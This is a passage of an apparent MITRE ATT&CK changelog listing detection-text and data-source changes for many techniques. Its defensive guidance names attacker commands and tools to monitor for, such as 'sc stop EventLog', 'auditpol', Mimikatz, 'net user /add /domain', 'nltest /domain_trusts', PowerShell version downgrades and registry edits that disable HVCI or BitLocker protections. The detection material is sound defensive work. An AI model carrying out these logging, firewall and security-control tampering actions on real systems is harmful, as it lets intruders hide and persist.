| x_mitre_detection | Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:18:01.430000+00:00 | 2025-10-24 17:48:21.668000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:19:07.343000+00:00 | 2025-10-24 17:48:22.567000+00:00 |
| x_mitre_detection | Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation. |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Drive: Drive Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:05.272000+00:00 | 2025-10-24 17:48:23.015000+00:00 |
| x_mitre_detection | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) + +Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:14.891000+00:00 | 2025-10-24 17:49:01.374000+00:00 |
| x_mitre_detection | There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Sensor Health: Host Status', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:17.061000+00:00 | 2025-10-24 17:48:45.425000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) + +In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. + +Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:19:38.109000+00:00 | 2025-10-24 17:48:58.515000+00:00 |
| x_mitre_detection | Monitor cloud logs for modification or creation of new security groups or firewall rules. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Cloud Service: Cloud Service Modification', 'User Account: User Account Modification', 'Cloud Service: Cloud Service Disable'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:19:53.826000+00:00 | 2025-10-24 17:49:23.308000+00:00 |
| x_mitre_detection | Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Firewall: Firewall Rule Modification', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Firewall: Firewall Disable'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:31.395000+00:00 | 2025-10-24 17:48:47.755000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Drive: Drive Modification', 'Drive: Drive Access', 'Driver: Driver Load', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:23.834000+00:00 | 2025-10-24 17:49:38.983000+00:00 |
| x_mitre_detection | Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.
+
+For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Driver: Driver Load', 'Drive: Drive Modification', 'Drive: Drive Access', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:04.838000+00:00 | 2025-10-24 17:48:22.482000+00:00 |
| x_mitre_detection | Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.
+
+For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Driver: Driver Load', 'Drive: Drive Access', 'Command: Command Execution', 'Drive: Drive Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:09.974000+00:00 | 2025-10-24 17:48:27.697000+00:00 |
| x_mitre_detection | Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Module: Module Load', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:20:51.024000+00:00 | 2025-10-24 17:48:53.724000+00:00 |
| x_mitre_detection | Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. + +Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:21:24.212000+00:00 | 2025-10-24 17:48:57.883000+00:00 |
| x_mitre_detection | Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Group: Group Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:21:07.252000+00:00 | 2025-10-24 17:48:31.050000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:20.358000+00:00 | 2025-10-24 17:49:21.034000+00:00 |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). + +On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) + +Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Process: Process Access', 'File: File Modification', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:21:45.658000+00:00 | 2025-10-24 17:49:27.324000+00:00 |
| x_mitre_detection | Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
+
+Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:02.492000+00:00 | 2025-10-24 17:49:23.135000+00:00 |
| x_mitre_detection | If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:07.610000+00:00 | 2025-10-24 17:48:25.458000+00:00 |
| x_mitre_detection | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. + +Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Group: Group Enumeration', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:22:08.417000+00:00 | 2025-10-24 17:48:33.946000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:22:22.764000+00:00 | 2025-10-24 17:49:31.581000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:22:35.004000+00:00 | 2025-10-24 17:48:58.061000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships) + |
Current version: 3.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:19.033000+00:00 | 2025-10-24 17:49:33.897000+00:00 |
| x_mitre_detection | It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
+
+Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Passive DNS', 'Domain Name: Domain Registration', 'Domain Name: Active DNS'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:23:15.751000+00:00 | 2025-10-24 17:48:42.246000+00:00 |
| x_mitre_detection | Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Passive DNS', 'Domain Name: Domain Registration', 'Domain Name: Active DNS'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:22:55.487000+00:00 | 2025-10-24 17:49:38.448000+00:00 |
| x_mitre_detection | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:23:40.712000+00:00 | 2025-10-24 17:48:25.732000+00:00 |
| x_mitre_detection | Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:46.929000+00:00 | 2025-10-24 17:49:02.550000+00:00 |
| x_mitre_detection | Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.
+
+Monitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)
+
+Monitor network data to detect cases where HTTP is used instead of HTTPS.
+
+Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)
+
+Monitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)
+
+Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:39.086000+00:00 | 2025-10-24 17:49:39.331000+00:00 |
| x_mitre_detection | Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:12.900000+00:00 | 2025-10-24 17:49:28.067000+00:00 |
| x_mitre_detection | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. + +Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. + +Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:24:03.854000+00:00 | 2025-10-24 17:48:36.634000+00:00 |
| x_mitre_detection | If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'File: File Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:24.300000+00:00 | 2025-10-24 17:49:39.243000+00:00 |
| x_mitre_detection | Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.
+
+Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Module: Module Load', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:15.927000+00:00 | 2025-10-24 17:48:31.581000+00:00 |
| x_mitre_detection | Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). + +OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:36.147000+00:00 | 2025-10-24 17:48:51.810000+00:00 |
| x_mitre_detection | Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.
+
+Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:46.359000+00:00 | 2025-10-24 17:49:00.128000+00:00 |
| x_mitre_detection | Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Metadata', 'Process: Process Access', 'Process: Process Modification', 'Module: Module Load', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:22.834000+00:00 | 2025-10-24 17:49:36.680000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
+
+Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
